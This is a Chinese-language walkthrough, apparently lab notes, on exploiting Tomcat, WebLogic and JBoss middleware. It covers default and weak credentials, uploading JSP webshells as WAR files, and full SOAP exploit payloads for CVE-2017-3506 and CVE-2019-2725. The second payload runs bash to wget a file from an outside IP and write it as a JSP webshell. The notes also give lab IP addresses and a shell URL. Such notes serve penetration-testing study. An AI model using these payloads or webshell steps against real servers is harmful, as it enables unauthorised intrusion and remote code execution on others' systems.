常见中间件漏洞

Tomcat

CVE-2017-12615

进入界面后抓包修改

在下面添加一个jsp一句话木马

链接

后台弱口令部署war包

进入界面后点击app这个按键进行登录 正面密码为tomcat

在这里添加一句话木马

在哥斯拉里生成一句话木马

把文件压缩成zip格式，并把后缀改为war

链接

WebLogic

后台弱⼝令GetShell

默认账号密码:weblogic/Oracle@123

weblogic常用弱口令:Default Passwords | CIRT.net这里注意，单个账号错误密码5次之后就会自动锁定。

上传war包，jsp⽊⻢压缩成zip，修改后缀为war，上传

链接

CVE-2017-3506

在IP后面添加wls-wsat/CoordinatorPortType进入

抓包并在下面添加

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter"> 
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/123.jsp</string>
 <void method="println">
<string>
 <![CDATA[
<% out.print("123"); %>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object></java></java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

/bea_wls_internal/shell.jsp

访问url

CVE-2019-2725

漏洞验证

/_async/AsyncResponseService

如果出现⼀下⻚⾯，则说明存在漏洞

抓包在下面添加

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/12121.jsp

</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header><soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

链接

CVE-2018-2628

进入界面

使用工具(liqun工具箱)

CVE-2018-2894

账号密码weblogic/J1WrSilh

进入

http://112.126.80.8:8687/ws_utc/config.do

把镜像文件换成下面

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_intern al/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击base 在点高级

启动web服务在保存

来到ws_utc/config.do页面

修改

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全在这里添加

按F12查询搜索，找到对应时间戳

用蚁剑链接

Jboss

CVE-2017-7504

进入页面在后面添加jbossmg-httpil/HTTPServerlLServlet

如出现以下界面，说明存在此漏洞

CVE-2017-12149

Administration Console弱⼝令

/admin-console/login.seam?conversationId=4

账号密码 admin:vulhub

点击web

在此处上传文件

链接

http://112.126.80.8:8611/shell/shell.jsp

低版本JMX Console未授权

 

⾼版本JMX Console未授权

账号密码admin/vulhub